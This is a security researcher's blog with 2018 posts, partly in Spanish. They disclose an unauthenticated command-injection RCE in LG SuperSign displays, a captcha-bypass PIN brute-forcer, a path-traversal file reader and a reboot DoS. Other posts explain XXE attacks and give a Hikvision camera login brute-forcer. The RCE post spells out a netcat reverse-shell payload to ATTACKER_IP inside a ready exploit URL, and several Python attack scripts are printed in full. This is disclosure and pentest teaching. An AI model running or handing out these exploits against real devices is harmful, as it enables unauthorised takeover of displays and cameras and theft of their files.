miércoles, 19 de septiembre de 2018

LG SuperSign RCE! (to the 'luna' and back to shell)


Publishing the previous vulnerabilities in LG SuperSign TVs left me a bad taste in my mouth. Something like "I know that there must be something more".  So, I continued with my research and finally found the precious RCE.

This vulnerability has been addressed with the following CVE-2018-17173

The vuln


Playing with the app through burp I saw a url with some parameters. These URL is requested when the application needs to load the thumbnails of the images the user has uploaded.



So, I started to fuzz these parameters with ZAP until I found something interesting:



The application responded with the help screen of some utility called luna-send when the parameter sourceUri received the values "' or 1 --'". It looked like it was triggering a command that was calling this utility but failling due to an unexpected parameter. Cleaning a little bit the input I found that with the value ' -' it was enough to receive this response. I knew I was close.

If you see something like that in the response you immediately start to play with things like ;command, ;command;, etc, etc. After some failed attemps I tried with ' -;reboot;' and I saw how the TV was rebooting...the RCE was knocking on my door.

Getting a Shell

Taking advantage of the LFI, I knew that the TV had a netcat but was the netcat version  that doesn't support the -e option (downloading the binary), so I used the alternative:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP PORT >/tmp/f

Encoded all to be passed in the URL

rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E
%261%7Cnc%20ATTACKER_IP%20PORT%20%3E%2Ftmp%2Ff


So, the payload was ready:


' -;rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i
%202%3E%261%7Cnc%20ATTACKER_MACHINE_IP%20ATTACKER_MACHINE_PORT%20%3E%2Ftmp%2Ff;'


Putting it all together:



http://LG_SuperSign_IP:9080/qsr_server/device/getThumbnail?sourceUri=
%27%20-;rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2F
bin%2Fsh%20-i%202%3E%261%7Cnc%20ATTACKER_MACHINE_IP%20ATTACKER_MACHINE__PORT
%20%3E%2Ftmp%2Ff;%27&targetUri=%2Ftmp%2Fthumb%2Ftest.jpg&mediaType=image&
targetWidth=400&targetHeight=400&scaleType=crop&_=1537275717150


I launched netcat to catch the shell, made the request and...

 

I was in.



In a few days I'll be updating this post with more technical details. 
That is all for now.


Points to take into account:

-No need to be authenticated
-No need to privilege escalation (app is running as root)




jueves, 13 de septiembre de 2018

Multiple vulnerabilities in LG SuperSignEZ CMS


Hello there, it´s been a long time.

Lately, I´ve been playing with LG SuperSign TVs and found some vulnerabilites.

These vulnerabilities have been addressed with the following CVE's

Weak authentication (bypass captcha + 4 digit PIN) CVE-2018-16286
Arbitrary FIle Upload CVE-2018-16287
LFI CVE-2018-16288
DoS via reboot command CVE-2018-16706


As we can see in the link above, LG SuperSign TVs are..

"*An industry definitive, software-based content management solution 
  *All-in-one solution for editing, scheduling, and distribution
  *Suitable for large-scale displays operation. Seamless management of different content for different displays"

These TVs are used in companies and stores for advertising.

The displayed content can be managed  from a CMS that these TVs have built-in, called SuperSign EZ. It offers a web interface running on port 9080 (Using a Node.js Express Framework):




First vuln, weak authentication

In the screenshot above, we have a login form with two fields, PIN and captcha. Hmmm...We don't know the min and max length of the PIN number and we can't bruteforce it because the presence of the captcha. But....Once I had access to the administration page (In this case the CMS had the default PIN 0000) I found two interesting things.

1_ There is a cookie that takes the name and value captcha:pass



2_ The PIN number, has a max of 4 digits (I verified that in the "Change PIN number" section)



So, I logged out, and using a cookie editor, added a cookie with the name "captcha" and the value "pass" and guess what...



The captcha was gone!

So....We have a 4 digit PIN number and no captcha to resolve...It's time to script our way in!

Analizing the response after a successful login we receive the message:


If we enter a wrong password we get:



So, we can code something like this:

import requests
import re
from argparse import ArgumentParser


parser = ArgumentParser(description="SuperSign BruteForce Script")
parser.add_argument("-t", "--target", dest="target",
                        help="Target")
parser.add_argument("-p", "--pass", dest="password",
                        help="password")

args = parser.parse_args()


print "===================================="
print "=    SuperSign BruteForce Script                                          ="
print "===================================="



f = open(args.password, 'r')  #Opening password file (or you can just use while starting from 0000 to 9999)
for line in f:

data = {
        'id':'admin',
        'password':str(line).replace('\n', ''),
        'captcha':'pass',
        'captcha_compare':'pas'
}

print '[+]Trying with PIN:',str(line)

s = requests.post('http://'+ str(args.target).replace('\n', '') +'/', data=data)
matches = re.findall('success', s.text);

if len(matches) == 0:
    print 'Access Denied'
print
else:
    print 'Success!'
    break


The code is very simple. We make a request, using the cookie captcha:pass, for every value in 0000-9999 range and wait for the right response.

Bingo, we are in.

Second vuln, Local File Inclusion

Once I was in, using again my friend burp, I analized the requests that the application make when the user wants to add a new template and found that some files are called in this URL:

http://LG_SuperSign_IP:9080/signEzUI/playlist/edit/upload/LGXXXXXX/uploaded_file.ext

uploaded_file.ext is the file included in the template.

So, I started to try for LFI in some paths, and after receive the message "Not found" over and over, I received this beautiful response in this path:

http://LG_SuperSign_IP:9080/signEzUI/playlist/edit/upload/../../../../../../../../../../etc/passwd



This is so critical, because, this TV's can be connected with any other device of the company/store:


An attacker can obtain sensitive information for further attacks.

If you are thinking, An attacker needs to know the first vulnerability to gain access and later use the second one to get those files. Well, you are wrong. There is no need to be authenticated to exploit this LFI. If you take a look at the picture again, you can see that there is no cookie, so I'm not logged in.

Here is the code in python to retrieve any file you want:

import requests
import re
from argparse import ArgumentParser


parser = ArgumentParser(description="SuperSign Reboot")
parser.add_argument("-t", "--target", dest="target",
                        help="Target")
parser.add_argument("-p", "--path", dest="filepath",
                        help="path to the file you want to read")

args = parser.parse_args()
path = args.filepath


s = requests.get('http://'+ str(args.target).replace('\n', '') +'/signEzUI/playlist/edit/upload/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..'+str(path))
print s.text


Third vuln, Arbitrary file upload

Obviously, if you can serve content, you've got a File Upload function. The problem is that there is no control about the file type a user can upload, so we can upload any kind of files.


Then, we can access the uploaded file using the LFI vulnerability (to get an XSS in this case):


With this in mind, an attacker can access to the manager, upload a malicious file and send the link to the victim.


Hey wait, there's one more..

Fourth vuln, DoS via reboot function

Triggering an error, I found some interesting files that I could read via the LFI. One of those file had the code to a reboot function:



So...making a request to the URL http://SuperSign_IP:9080/qsr_server/device/reboot it is possible to reboot the device without authentication.


Well, I guess that's all for the moment.


Recommendations

At the moment, the only thing you can do to mitigate this vulnerabilities is isolate this devices. You must restrict the access to this TVs in your internal network and please, please, please, DO NOT EXPOSE THEM TO THE INTERNET!!!!


viernes, 23 de marzo de 2018

Y hablando de XXE...Windows Remote Assistance XXE Vulnerability!



Hola a todos. Hace pocos días fué publicada una vulnerabilidad de XXE relacionada a una funcionalidad de Windows. Esto nos viene como anillo al dedo para continuar con el tema de la entrada anterior

El 20/03, el investigador Nabeel Ahmed publicó  una vulnerabilidad de XXE que afecta a la funcionalidad Windows Remote Assistance (CVE-2018-0878).

Qué es Windows Remote Assistance?

Es una herramienta que nos permite darle el control remoto de nuestro equipo a alguien para que nos ayude a solucionar un problema (Esto ya suena bastante feo). Su funcionamiento es el siguiente.

Se ejecuta remote assistance y nos aparece la siguiente ventana:


Si elegimos la opción "Invitar a una persona de confianza para ayudarle" nos pedirá que especifiquemos como queremos invitar a nuestro asistente/ayudante. Esto puede hacerse de tres maneras:

1. Guardar la información en un archivo
2. Usar el correo para enviar la invitación
3. Usar conexión fácil (fácil siempre significa poco seguro jeje)



Si seleccionamos "Guardar esta invitación como un archivo" se nos genera el  archivo de invitación (como era de esperar):


Este archivo contiene la siguiente información:


Contenido del archivo de invitación

Como podemos observar, es un archivo XML con los siguientes parámetros:

Parámetros del archivo de invitación

Conocer o no estos parámetros no nos interesan para explotar la vulnerabilidad asi que no ahondaremos mas en ellos.

El problema está, en la librería utilizada por Windows para parsear el contenido del archivo de invitación. Si listamos las dll´s cargadas para el proceso de asistencia remota veremos una llamada msxml3.dll

Librería que se encarga de parsear la info


Esta librería permite el uso de SYSTEM entities, de lo cual podemos abusar como vimos en la entrada anterior....

Preparando nuestro ataque

Lo que vamos a hacer para poder obtener información del equipo víctima, es modificar el archivo de invitación. Lo que vamos a colocar en el archivo es algo similar a lo que vimos y explicamos en la entrada anterior:

Contenido del archivo de invitación modificado

Básicamente, le pedimos al equipo víctima que se conecte a nuestro equipo (donde tenedremos un web server escuchando en el puerto 80) y que lea un archivo xml con la siguiente información:


Archivo alojado en nuestro servidor con instrucciones para leer el archivo win.ini

En esta demostración, como habrán podido notar, está todo realizado desde el mismo host, pero con esto alcanza para demostrar la vulnerabilidad. 

Con todo esto listo, enviamos el archivo a nuestra víctima. Una vez que lee el archivo,  el parser hace su trabajo, busca el contenido del archivo win.ini que le especificamos y lo envía a nuestro servidor.

Aquí, lo que vemos en el access log de nuestro Apache:


Nice no?

Microsoft ya publicó un update de seguridad para mitigar esto asi que...a parchear!

https://support.microsoft.com/en-us/help/4089453/security-update-for-vulnerabilities-in-windows-server-2008

Les dejo el enlace al blog de la publicación de la vulnerabilidad:

https://krbtgt.pw/windows-remote-assistance-xxe-vulnerability/

SALUDOS Y....

HAPPY XXE HACKING!

domingo, 11 de febrero de 2018

XML eXternal Entity (you can call me XXE)



Hola a todos, como siempre me pierdo por un largo tiempo entre post y post. Por suerte me encontré devuelta (jeje) y con un tiempito para dedicar una entrada a uno de los nuevos puntos del OWASP Top Ten: XML External Entity

De que se trata esta vulnerabilidad?

Para hablar de XXE, es necesario realizar una breve introducción a XML y al uso de entidades externas.

eXtensible Markup Language o XML es un metalenguaje, es decir, un lenguaje para describir otros lenguajes (un minuto cerebrito). A diferencia de HTML, este metalenguaje, es utilizado para definir como debe ser estructurada la información.

XML utiliza etiquetas como HTML, pero estas etiquetas no son predefinidas. La persona que crea el documento XML define sus propias etiquetas. Por ejemplo:

<?xml version="1.0" encoding="UTF-8"?>
<pagos>
   <pago>
      <titulo>Pagar multa</titulo>
      <monto>10000</monto>
      <responsabilidad optional="1">pagar</responsibilidad>
   </pago>
</pagos>

A diferencia de HTML, todas las etiquetas o tags deben tener su correspondiente tag de cierre

<pagos></pagos>

Como los tags, a diferencia de HTML, se pueden definir, como podemos saber si un documento XML es válido?

El famoso DTD

Un documento XML es válido cuando sigue las reglas generales de XML y concuerda (matchea) con su DTD. El DTD o Document Type Definition es un documento en el cual se definen los tags a utilizar y es desarrollado por el diseñador de XML.

Un DTD para nuestro docunento de arriba luce de la siguiente manera:

<!ELEMENT Pagos (Pago)*>
<!ELEMENT Pago (Titulo, Monto, Responsabilidad)>
<!ELEMENT Titulo (#PCDATA)>
<!ELEMENT Monto (#PCDATA)>
<!ELEMENT Responsabilidad (#PCDATA)>
<!ATTLIST Responsabilidad optional CDATA "0">

Entre los tags utilizados para armar un DTD existen dos que son muy importantes y que están involucrados en esta vulnerabilidad. Ellos son !DOCTYPE y !ENTITY

El tag !DOCTYPE nos sirve para definir un DTD dentro o fuera del documento XML

Si queremos incluir el DTD en nuestro documento, el mismo quedaría de la siguiente manera:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Pagos [
<!ELEMENT Pagos (Pago)*>
<!ELEMENT Pago (Titulo, Monto, Responsabilidad)>
<!ELEMENT Titulo (#PCDATA)>
<!ELEMENT Monto (#PCDATA)>
<!ELEMENT Responsabilidad (#PCDATA)>
<!ATTLIST Responsabilidad optional CDATA "0">
]>
<pagos>
   <pago>
      <titulo>Pagar multa</titulo>
      <monto>10000</monto>
      <responsabilidad optional="1">pagar</responsibilidad>
   </pago>
</pagos>

Esto sería un Internal DTD Declaration

Si quisieramos incluir las definiciones en un DTD externo utilizariamos:

<!DOCTYPE Pagos SYSTEM "pagos.dtd">

Bueno bueno, pero que pasa con el tag ENTITY que es tan peligroso?

El tag ENTITY nos permite crear "atajos". 

Pensemos lo siguiente:

Que pasaría si quisiera incluir, por ejemplo, una URL donde realizar el pago de la multa (asi de una vez por todas el deudor paga) en distintos documentos XML. Habría que escribir la misma cada vez que quiera hacerlo. Ahi es donde entra en juego el tag !ENTITY el cual hace que el parser obtenga el contenido de ahi y lo inserte en el documento.

Un ejemplo de como funciona el tag !ENTITY lo podemos ver en:

https://www.w3schools.com/xml/xml_dtd_entities.asp


Una entidad, como podemos ver en w3 schools, puede ser declarada internamente o estar en un archivo externo. Para indicarle que busque la definición en un archivo externo lo hacemos de la siguiente manera:

<!ENTITY entity-name SYSTEM "URI/URL">

Y acá empieza el problema...Ahi donde vemos URI/URL podemos elegir entre varios schemas para indicar a la entidad a que archivo recurrir. 

Podemos por ejemplo, definir lo siguiente:

<!ENTITY xxe SYSTEM "file:///etc/passwd">

Ahhhh, ahora veo adonde vamos con todo esto.

Si no se encuentra configurado correctamente, el paser XML irá a buscar el archivo especificado y devolverá la información en él contenida. Esto lo podremos lograr siempre y cuando la aplicación esté diseñada para mostrar información en el response. Pero hay otra forma de obtener esa información si no es mostrada en la respuesta. Mas abajo veremos como.

Con este tipo de ataques podemos obtener información sensible del servidor, realizar denegaciones de servicio y, en algunas ocasiones, hasta un RCE.

Pasemos ahora a un ejemplo de explotación de XXE.

Para realizar esta desmotración, utilicé la VM vulnerable de Pentester Labs, la cual pueden descargar desde:

https://pentesterlab.com/exercises/play_xxe/iso

En este ataque se levanta un servidor web en el equipo del atacante. En este servidor malicioso tendremos un dtd que contendrá instrucciones para que el parser xml del equipo víctima acceda al archivo passwd y nos envíe la información a otro puerto que tendremos a la escucha.

El esquema queda de la siguiente forma:

Pueden probar todo esto paso a paso siguiendo el turorial, para la VM mencionada, de aquí:

https://pentesterlab.com/exercises/play_xxe/course

Por último, les dejo un video en el que recreo el ataque:




Saludos y..

Happy XXE Hacking!

lunes, 29 de enero de 2018

BruteForcing Hikvision Cams (A little script for your pentests)


Hola a todos. Hoy quiero dejarles un pequeño script (antes de publicar un post un poco mas largo y entretenido) que puede ayudar a la hora de realizar un pentest. Me parece interesante dado que no hay mucho material online (obviamente encontramos herramientas de fuerza bruta pero no una especifica para este tipo de cámaras). Además, no todos tenemos acceso a una de estas bellezas para poder conocer como responde ante un login existoso y así poder codear algo.

Es algo muy sencillo (son un par de líneas), pero como les decía, es necesario conocer a que URI hace el request del usuario, como la hace y como responde.


Una vez ingresadas nuestras credenciales, la aplicación realiza un GET a la URI

/PSIA/Custom/SelfExt/userCheck 

utilizando el método de autenticación Basic (el cual, como sabemos, encodea la información en Base64)



Si el login falla obtenemos el siguiente response:


En cambio, si es exitoso:


Teniendo esto en cuenta, podemos utilizar expresiones regulares, analizar el contenido de la respuesta y verificar su nuestras credenciales han servido.

Entonces, para resumir, lo que debemos hacer es el siguiente loop:

1. Hacer un GET a la URI /PSIA/Custom/SelfExt/userCheck
2. Agregar el header para authentication basic
3. Encodear en base64 las credenciales ingresadas (formato user:pass)
4. Analizar el contenido de la respuesta en busca del código 200 o el "OK"

Teniendo esto en cuenta, armamos nuestro script:


import requests
import re
from argparse import ArgumentParser
import base64


parser = ArgumentParser(description="Hikvision IP Cam brute forcer")
parser.add_argument("-t", "--target", dest="target",
                        help="Target")
parser.add_argument("-u", "--user", dest="username",
                        help="User")
parser.add_argument("-p", "--pass", dest="password",
                        help="Password")

args = parser.parse_args()

user = args.username


f = open(args.password, 'r')
for line in f:

encoded = base64.b64encode(user+':'+str(line).replace('\n', ''))
print '[+]Trying with:',str(line)
headers = {'Authorization': 'Basic '+encoded} 
s = requests.get('http://'+ str(args.target).replace('\n', '') +'/PSIA/Custom/SelfExt/userCheck', headers=headers)
   
matches = re.findall('200', s.text);

if len(matches) == 0: 
    print 'Shit'
else:
    print 'Success!'
    break

El script fué realizado sobre la versión DS-2CD2112-I (asumo que otras versiones lo manejan de la misma forma. Ya lo probaré y les cuento)

Saludos y...

HAPPY CAM HACKING!